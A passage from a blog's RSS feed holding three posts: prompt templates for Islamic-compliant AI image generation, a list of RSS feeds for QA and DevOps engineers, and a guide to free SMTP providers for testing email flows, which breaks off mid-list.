&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;

&lt;h2&gt;Certificate&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://bucket.hurayraiit.com/2025/12/Certificate-of-Participation-Abu-Hurayra.pdf&quot;&gt;Certificate of Participation - Abu Hurayra&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-12-13T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>The Muslim Creator’s Guide to Ethical AI Image Generation</title><link>https://hurayraiit.com/blog/muslim-creators-guide-ethical-ai-generation/</link><guid isPermaLink="true">https://hurayraiit.com/blog/muslim-creators-guide-ethical-ai-generation/</guid><description>A Muslim creator&apos;s guide to ethical AI image generation — 6 prompt templates for architecture, calligraphy, and geometry visuals that follow Islamic guidelines.</description><pubDate>Tue, 09 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Generative AI is an incredible tool for creativity, but for Muslims and content creators adhering to Islamic values, navigating standard prompts can be tricky. You often run into issues with the depiction of animate beings (faces and animals) or unintended haram elements. However, limitations often breed the most beautiful creativity. By focusing on architecture, nature, calligraphy, and geometry, you can create stunning, spiritually uplifting visuals that fully respect Islamic guidelines.&lt;/p&gt;
&lt;p&gt;Here are six adapted prompt structures designed to help you generate professional, high-quality images that are compliant with Islamic values.&lt;/p&gt;
&lt;h3&gt;1. Photorealistic Architectural Serenity&lt;/h3&gt;
&lt;p&gt;Description &amp;amp; Use Case:&lt;/p&gt;
&lt;p&gt;This style is perfect for creating calming backgrounds for quotes, website headers, or social media posts about mindfulness (Taqwa). Instead of focusing on people, we focus on the atmosphere, lighting, and the beauty of structural design, such as mosques or courtyards.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A photorealistic [shot type] of [architectural feature or nature scene], set in [location/environment], illuminated by [lighting description], creating a [mood] atmosphere. The image should be devoid of people or animals, focusing strictly on textures, geometry, and light. Captured with [camera details], highlighting [specific details].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Example Prompt:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Generate a photorealistic wide-angle shot of a traditional mosque courtyard in Andalusia during the golden hour. The scene features a symmetrical marble fountain in the center with flowing water, surrounded by intricate geometric tile work and arches. The lighting is warm and soft, casting long shadows from the pillars. The atmosphere is peaceful and silent. No people or animals in the frame. High resolution, sharp focus on the water ripples and tile textures.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;2. Geometric &amp;amp; Floral Sticker Art&lt;/h3&gt;
&lt;p&gt;Description &amp;amp; Use Case:&lt;/p&gt;
&lt;p&gt;Need assets for a digital planner, a Ramadan journal, or a logo? This method creates clean, sticker-style illustrations. We replace character-based stickers with complex Islamic geometry (Arabesque) or floral patterns that can be used as decoration or branding elements.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A hyper-realistic digital sticker-style illustration of [object or pattern], featuring key details like [texture/material]. The design should be symmetrical and elegant, with clean outlines and a white background. No animate beings.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Example Prompt:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A hyper-realistic digital illustration of an intricate Islamic geometric star pattern, rendered in gold and deep teal enamel. The design features raised metallic edges catching the light, giving it a 3D enamel pin look. The background is pure white to allow for easy cutting. No faces or animals, strictly geometric and floral motifs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;3. Typography &amp;amp; Quranic Verses on Walls&lt;/h3&gt;
&lt;p&gt;Description &amp;amp; Use Case:&lt;/p&gt;
&lt;p&gt;AI is getting much better at rendering text. Use this to create mockups of wall art, interior design inspiration, or daily reminders. This prompts the AI to place English translations of Quranic verses or Islamic values (like &quot;Sabr&quot; or &quot;Salam&quot;) into realistic interior settings.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a [image type] of a modern interior wall. The focal point is a framed artwork featuring the text &quot;[Text to Render]&quot; in [Font Style]. The room design is [style description] with [lighting]. Ensure the text is spelled correctly and is the central focus.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Example Prompt:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a close-up photo of a textured beige wall in a minimalist living room. Hanging on the wall is a sleek wooden frame containing bold, modern serif text that reads: &quot;Indeed, with hardship comes ease.&quot; Sunlight is streaming in from a nearby window, casting the shadow of a plant (leaves only) across the wall. The text is crisp, black, and perfectly centered. Realistic lighting, high definition.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;4. Halal Product Mockups (Oud, Dates, Prayer Beads)&lt;/h3&gt;
&lt;p&gt;Description &amp;amp; Use Case:&lt;/p&gt;
&lt;p&gt;If you run an e-commerce store selling Halal goods, you don&apos;t need a physical studio. You can create &quot;hero shots&quot; for products like perfumes (Attar), prayer mats, or Misbahas (prayer beads). The key is dramatic lighting and a setting that evokes luxury and tradition without using human models.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A high-resolution, studio-lit product photograph of [product description] on a [surface material]. The lighting is [lighting setup] to enhance the [material quality, e.g., glass/wood]. Atmospheric effects like [smoke/mist/light rays] surround the object. No hands or human figures visible.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Example Prompt:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create an ultra-cinematic hero shot of a crystal bottle of Oud perfume sitting on a piece of dark, polished mahogany wood. The bottle is illuminated by moody, rim lighting that highlights the amber color of the liquid inside. Surrounding the bottle is a very subtle, swirling incense smoke. The background is deep black to make the product pop. Focus is sharp on the bottle label.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;5. Event &amp;amp; Community Posters (No Faces)&lt;/h3&gt;
&lt;p&gt;Description &amp;amp; Use Case:&lt;/p&gt;
&lt;p&gt;Designing flyers for Eid prayers, charity drives, or mosque lectures often requires a professional touch. This prompt helps you create a layout that includes a headline and decorative elements (like lanterns or crescents) while keeping the imagery strictly inanimate.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Design a professional promotional poster for [Event Name]. Composition: A cinematic close-up of [Subject, e.g., Lantern/Book] on a [Surface]. Main Title: &apos;[Headline Text]&apos; in [Font Style] at the top. Footer text: &apos;[Bottom Text]&apos;. The design should be inviting and spiritual, using a [Color Palette].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Example Prompt:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Design a professional promotional poster for a Charity Drive. Composition: A cinematic close-up of a pair of hands (generic silhouette only, no detailed features) or simply an open wooden box filled with golden coins and grain on a table. Text Integration: Main Title: &apos;Ramadan Charity&apos; written in elegant gold typography at the top. Footer: &apos;Give Generously&apos; in small, clean white text at the bottom. The background is a deep, blurred midnight blue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;6. Islamic Finance &amp;amp; Data Visualization&lt;/h3&gt;
&lt;p&gt;Description &amp;amp; Use Case:&lt;/p&gt;
&lt;p&gt;For educational content, presentations, or blogs about Islamic finance or demographics, you need charts that look modern but fit the aesthetic. This prompt generates data visuals using brand colors often associated with Islamic themes (greens, golds, whites) or neutral tones.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Template:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a [chart type] visual. The design should be in a [art style] with bars/segments themed as [styling/colors]. Keep the chart clean, accurate, and use a [background style]. No characters or mascots.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Example Prompt:&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Create a 3D isometric bar chart showing growth. The bars are textured like gold bullion blocks, set against a clean white marble background. The chart is minimalist and professional, symbolizing wealth growth in Islamic finance. Text labels are sharp and legible.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;Creating content that aligns with Islamic values doesn&apos;t mean sacrificing quality or aesthetic appeal. By shifting the focus from human figures to the breathtaking beauty of geometry, light, architecture, and the written word, you can use AI to produce art that is both cutting-edge and spiritually compliant. Use these templates as your starting point, and watch your halal portfolio grow.&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><atom:updated>2025-12-09T00:00:00.000Z</atom:updated><category>productivity</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Essential RSS Feeds for QA &amp;amp; DevOps Engineers [2026]</title><link>https://hurayraiit.com/blog/essential-rss-feeds-qa-devops-testing-trends/</link><guid isPermaLink="true">https://hurayraiit.com/blog/essential-rss-feeds-qa-devops-testing-trends/</guid><description>Hand-picked RSS feeds for QA engineers and DevOps professionals — stay current on Playwright, Cypress, security testing, CI/CD, and automation trends.</description><pubDate>Mon, 08 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the fast-moving world of test automation, QA strategy, and DevOps, staying updated with tools, practices, and industry trends is critical. Whether you&apos;re building scalable automated test suites, integrating security checks into your CI/CD pipeline, or keeping pace with evolving frameworks like Cypress or Playwright—curated RSS feeds can help you stay sharp and ahead of the curve.&lt;/p&gt;
&lt;p&gt;This post compiles hand-picked, high-signal RSS feeds specifically for SDETs, QA engineers, automation architects, and DevSecOps professionals. The feeds are grouped into categories to help you zero in on what matters most to your role.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;🧪 Testing Frameworks and Tools&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. Cypress Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://www.cypress.io/feed.xml&quot;&gt;https://www.cypress.io/feed.xml&lt;/a&gt;&lt;br /&gt;
Tips, tutorials, and framework updates for Cypress—ideal for UI and E2E test automation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Selenium Releases (GitHub Atom)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://github.com/SeleniumHQ/selenium/releases.atom&quot;&gt;https://github.com/SeleniumHQ/selenium/releases.atom&lt;/a&gt;&lt;br /&gt;
Track new versions of Selenium, changelogs, and release notes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Cucumber Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://cucumber.io/blog/feed/&quot;&gt;https://cucumber.io/blog/feed/&lt;/a&gt;&lt;br /&gt;
Everything BDD and Gherkin. Great for test automation engineers implementing behavior-driven testing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. JUnit Releases&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://github.com/junit-team/junit5/releases.atom&quot;&gt;https://github.com/junit-team/junit5/releases.atom&lt;/a&gt;&lt;br /&gt;
Keep tabs on Java’s go-to testing framework.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;⚙️ Automation Engineering Practices&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;5. Automation Panda&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://automationpanda.com/feed&quot;&gt;https://automationpanda.com/feed&lt;/a&gt;&lt;br /&gt;
Andrew Knight’s deep dives on Python testing, testing strategies, and automation design patterns.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;6. Ultimate QA&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://ultimateqa.com/feed&quot;&gt;https://ultimateqa.com/feed&lt;/a&gt;&lt;br /&gt;
Nikolay Advolodkin covers practical test automation strategies, tools, and frameworks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;7. Gurock (TestRail Blog)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://feeds.feedburner.com/gurock&quot;&gt;https://feeds.feedburner.com/gurock&lt;/a&gt;&lt;br /&gt;
Focuses on test management, automation integration, and QA process improvement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;8. Software Testing Help&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://feeds.feedburner.com/softwaretestinghelp&quot;&gt;https://feeds.feedburner.com/softwaretestinghelp&lt;/a&gt;&lt;br /&gt;
Broad-spectrum QA content—from tool tutorials to process and certification advice.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;🚀 CI/CD, DevOps, and Infrastructure Testing&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;9. Jenkins Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://feeds.feedburner.com/jenkinsci/jenkins&quot;&gt;https://feeds.feedburner.com/jenkinsci/jenkins&lt;/a&gt;&lt;br /&gt;
Pipeline automation, plugin development, and integration insights for Jenkins users.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;10. &lt;a href=&quot;http://DevOps.com&quot;&gt;DevOps.com&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://devops.com/feed&quot;&gt;https://devops.com/feed&lt;/a&gt;&lt;br /&gt;
News and opinion pieces on DevOps culture, CI/CD, testing, and delivery pipelines.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;11. DZone DevOps&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://feeds.dzone.com/devops&quot;&gt;https://feeds.dzone.com/devops&lt;/a&gt;&lt;br /&gt;
Practical DevOps articles and tutorials for test and release engineers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;12. Terraform by HashiCorp Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://www.hashicorp.com/blog.atom&quot;&gt;https://www.hashicorp.com/blog.atom&lt;/a&gt;&lt;br /&gt;
Best for engineers dealing with test environment automation and infrastructure-as-code.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;🧑‍💻 Programming &amp;amp; Scripting for Automation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;13. Real Python&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://realpython.com/atom.xml&quot;&gt;https://realpython.com/atom.xml&lt;/a&gt;&lt;br /&gt;
Essential Python techniques, including test automation with &lt;code&gt;pytest&lt;/code&gt;, API testing, and CLI tools.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;14. Baeldung (Java + Spring)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://feeds.feedburner.com/BaeldungMain&quot;&gt;https://feeds.feedburner.com/BaeldungMain&lt;/a&gt;&lt;br /&gt;
Covers Java automation patterns, Spring-based testing, and framework integration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;15. JavaScript Weekly&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://javascriptweekly.com/rss&quot;&gt;https://javascriptweekly.com/rss&lt;/a&gt;&lt;br /&gt;
Staying current in the JavaScript ecosystem is key if you’re using Playwright, Jest, or Cypress.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;🛡️ Security Automation &amp;amp; DevSecOps&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;16. OWASP Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://owasp.org/blog/feeds/posts/default?alt=rss&quot;&gt;https://owasp.org/blog/feeds/posts/default?alt=rss&lt;/a&gt;&lt;br /&gt;
Official updates on OWASP tools and secure testing best practices.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;17. Veracode Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://www.veracode.com/blog/feed&quot;&gt;https://www.veracode.com/blog/feed&lt;/a&gt;&lt;br /&gt;
Posts on secure SDLC, automated vulnerability detection, and code quality.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;18. Checkmarx Blog&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://checkmarx.com/feed&quot;&gt;https://checkmarx.com/feed&lt;/a&gt;&lt;br /&gt;
Explores SAST/DAST techniques and secure development practices for automation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;19. &lt;a href=&quot;http://Qwiet.ai&quot;&gt;Qwiet.ai&lt;/a&gt; (formerly ShiftLeft)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://qwiet.ai/feed&quot;&gt;https://qwiet.ai/feed&lt;/a&gt;&lt;br /&gt;
Covers API security, DevSecOps integrations, and real-world security testing workflows.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;👥 QA Community and News Aggregators&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;20. Ministry of Testing&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://feeds.feedburner.com/mottestingfeeds&quot;&gt;https://feeds.feedburner.com/mottestingfeeds&lt;/a&gt;&lt;br /&gt;
A goldmine of community-sourced QA insights, AMAs, and event updates.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;21. Hacker News (Tech News)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://news.ycombinator.com/rss&quot;&gt;https://news.ycombinator.com/rss&lt;/a&gt;&lt;br /&gt;
Wider tech headlines, often featuring testing tools, security breaches, and productivity hacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;22. /r/QualityAssurance (Reddit)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; &lt;a href=&quot;https://www.reddit.com/r/QualityAssurance/.rss&quot;&gt;https://www.reddit.com/r/QualityAssurance/.rss&lt;/a&gt;&lt;br /&gt;
Crowd-sourced discussions on QA careers, tooling, automation trends, and bug tales.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;23. GitHub Trending (via RSSHub)&lt;/strong&gt;&lt;br /&gt;
&lt;em&gt;Feed:&lt;/em&gt; e.g., &lt;a href=&quot;https://rsshub.app/github/trending/javascript/daily&quot;&gt;https://rsshub.app/github/trending/javascript/daily&lt;/a&gt;&lt;br /&gt;
Track fast-growing repos across test automation, CI/CD tooling, and security frameworks.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Wrap-Up&lt;/h2&gt;
&lt;p&gt;With these RSS feeds in your arsenal, you can turn your feed reader into a personal QA command center—tracking updates on frameworks, security tooling, CI/CD infrastructure, and test strategies in real time. Bookmark your favorites, subscribe to your reader of choice (like Feedly, Inoreader, or Thunderbird), and feed your curiosity!&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><atom:updated>2025-12-08T00:00:00.000Z</atom:updated><category>sqa</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Free SMTP Options for SQA &amp;amp; Automation Engineers [2026]</title><link>https://hurayraiit.com/blog/free-smtp-guide-for-sqa-and-automation/</link><guid isPermaLink="true">https://hurayraiit.com/blog/free-smtp-guide-for-sqa-and-automation/</guid><description>The best free SMTP options for SQA and automation engineers — no credit card required, reliable for testing email flows in WordPress, Laravel, and API projects.</description><pubDate>Sun, 07 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Email testing shows up in almost every type of application we work with — WordPress sites, Laravel apps, SaaS dashboards, custom APIs, Dockerized microservices, you name it. And as SQA or Automation Engineers, we need a reliable way to send and verify emails during functional testing, regression runs, pipeline executions, and even local development.&lt;/p&gt;
&lt;p&gt;Most SMTP providers either require a credit card, impose strict rate limits, or block test traffic when they detect “non-production” patterns. However, several SMTP providers offer &lt;strong&gt;free, no-credit-card plans&lt;/strong&gt; that work perfectly for testing environments.&lt;/p&gt;
&lt;p&gt;This guide walks you through the best free SMTP options, how I personally use them in my workflow, and how you can build a reliable fallback system that fits neatly into your SQA toolkit.&lt;/p&gt;
&lt;h2&gt;Why SQA Engineers Need Free SMTP Providers&lt;/h2&gt;
&lt;p&gt;As testers, we’re constantly validating:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Account registration flows&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Password reset emails&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Notification triggers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Transactional messaging&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Webhooks that depend on email events&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Email formatting (HTML vs. text), headers, deliverability behavior&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Automation scripts that simulate actual user operations&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Having an SMTP provider attached to your test deployments makes these checks trivial. But paid providers aren’t practical for everyday QA work.&lt;/p&gt;
&lt;h2&gt;The SMTP Services I Use (in priority order)&lt;/h2&gt;
&lt;h3&gt;1. Brevo — up to &lt;strong&gt;300 emails/day&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The free plan allows &lt;strong&gt;300 emails per day&lt;/strong&gt;. (&lt;a href=&quot;https://help.brevo.com/hc/en-us/articles/208580669-What-are-the-limits-of-the-Free-plans-?utm_source=chatgpt.com&quot;&gt;help.brevo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can store up to &lt;strong&gt;100,000 contacts&lt;/strong&gt; even on the free plan. (&lt;a href=&quot;https://help.brevo.com/hc/en-us/articles/208589409-About-Brevo-s-pricing-plans?utm_source=chatgpt.com&quot;&gt;help.brevo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;No time limit on the free plan — it&apos;s free forever. (&lt;a href=&quot;https://help.brevo.com/hc/en-us/articles/208589409-About-Brevo-s-pricing-plans?utm_source=chatgpt.com&quot;&gt;help.brevo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Includes SMTP / transactional email support, so it works well for web apps, WordPress, and custom applications. (&lt;a href=&quot;https://help.brevo.com/hc/en-us/articles/208589409-About-Brevo-s-pricing-plans?utm_source=chatgpt.com&quot;&gt;help.brevo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it’s great for QA:&lt;/strong&gt;&lt;br /&gt;
300 emails/day is usually sufficient for most test cycles, and you get a fairly large contact storage limit. For testing flows like sign-up, password reset, order confirmation, notifications — that’s more than enough for many developers.&lt;/p&gt;
&lt;h3&gt;2. Resend — 100 emails/day&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;On the free plan, you get a &lt;strong&gt;daily sending limit of 100 emails/day&lt;/strong&gt;. (&lt;a href=&quot;https://resend.com/pricing?utm_source=chatgpt.com&quot;&gt;Resend&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supports SMTP Relay, REST API, SDKs, scheduling, batch sending, plus tracking features like open-tracking, link-tracking. (&lt;a href=&quot;https://resend.com/pricing?utm_source=chatgpt.com&quot;&gt;Resend&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why testers might like it:&lt;/strong&gt;&lt;br /&gt;
Simple, predictable, developer-friendly. Good for predictable, low-volume email testing (e.g. transactional emails, password resets, sign-up flows). Also useful if your primary (Brevo) hits its limit or you want a clean, separate sandbox environment.&lt;/p&gt;
&lt;h3&gt;3. Maileroo — 3,000 emails/month&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Their free SMTP plan offers &lt;strong&gt;up to 3,000 outbound emails/month&lt;/strong&gt;. (&lt;a href=&quot;https://maileroo.com/free-smtp-server?utm_source=chatgpt.com&quot;&gt;maileroo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;They claim “no credit card required” for the free plan. (&lt;a href=&quot;https://maileroo.com/free-smtp-server?utm_source=chatgpt.com&quot;&gt;maileroo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Good for light to moderate-volume testing — especially useful if you occasionally need multiple emails per user (e.g. invites, notifications, bulk test emails). (&lt;a href=&quot;https://maileroo.com/smtp-relay?utm_source=chatgpt.com&quot;&gt;maileroo.com&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why it’s a useful fallback:&lt;/strong&gt;&lt;br /&gt;
If you’re hitting limits on daily-based providers, Maileroo gives you a monthly-based buffer. For example, if you send a few emails per user but have many users or many test runs per day, 3,000/month gives you breathing room.&lt;/p&gt;
&lt;h2&gt;I Use Them in This Specific Order&lt;/h2&gt;
&lt;p&gt;For SQA and automation work, reliability and quota matter more than anything else.&lt;/p&gt;
&lt;p&gt;My priority order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://www.brevo.com/pricing/see-all-features/&quot;&gt;Brevo&lt;/a&gt;&lt;/strong&gt; → stable, predictable, generous daily limit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://resend.com&quot;&gt;Resend&lt;/a&gt;&lt;/strong&gt; → clean logs, fast, perfect for debugging&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://maileroo.com/pricing&quot;&gt;Maileroo&lt;/a&gt;&lt;/strong&gt; → great monthly buffer for bulk or stress-testing email flows&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This setup ensures I almost never run out of SMTP capacity during heavy testing cycles, especially when working across multiple WordPress and custom application instances.&lt;/p&gt;
&lt;h2&gt;How SQA Engineers Can Integrate These Easily&lt;/h2&gt;
&lt;h3&gt;WordPress Testing&lt;/h3&gt;
&lt;p&gt;Use plugins like &lt;strong&gt;&lt;a href=&quot;https://wordpress.org/plugins/fluent-smtp/&quot;&gt;Fluent SMTP&lt;/a&gt;&lt;/strong&gt; or directly update &lt;code&gt;wp-config.php&lt;/code&gt; with SMTP constants. Great for testing registration, WooCommerce order emails, LMS notifications, etc.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Laravel / PHP Apps&lt;/h3&gt;
&lt;p&gt;Drop SMTP credentials into &lt;code&gt;.env&lt;/code&gt;, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MAIL_MAILER=smtp
MAIL_HOST=smtp.yourprovider.com
MAIL_PORT=587
MAIL_USERNAME=youruser
MAIL_PASSWORD=yourpass
MAIL_ENCRYPTION=tls
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Docker-Based Apps&lt;/h3&gt;
&lt;p&gt;You can bind a &lt;code&gt;.env&lt;/code&gt; file with SMTP values or inject them via runtime variables in &lt;code&gt;docker-compose.yml&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Best Practices for QA Email Testing&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Reset your sender name for each test app&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;strong&gt;unique subject prefixes&lt;/strong&gt; like &lt;code&gt;DEV:&lt;/code&gt; or &lt;code&gt;QA:&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Rotate between providers during long test cycles&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Avoid spam-trigger keywords in automated messages&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
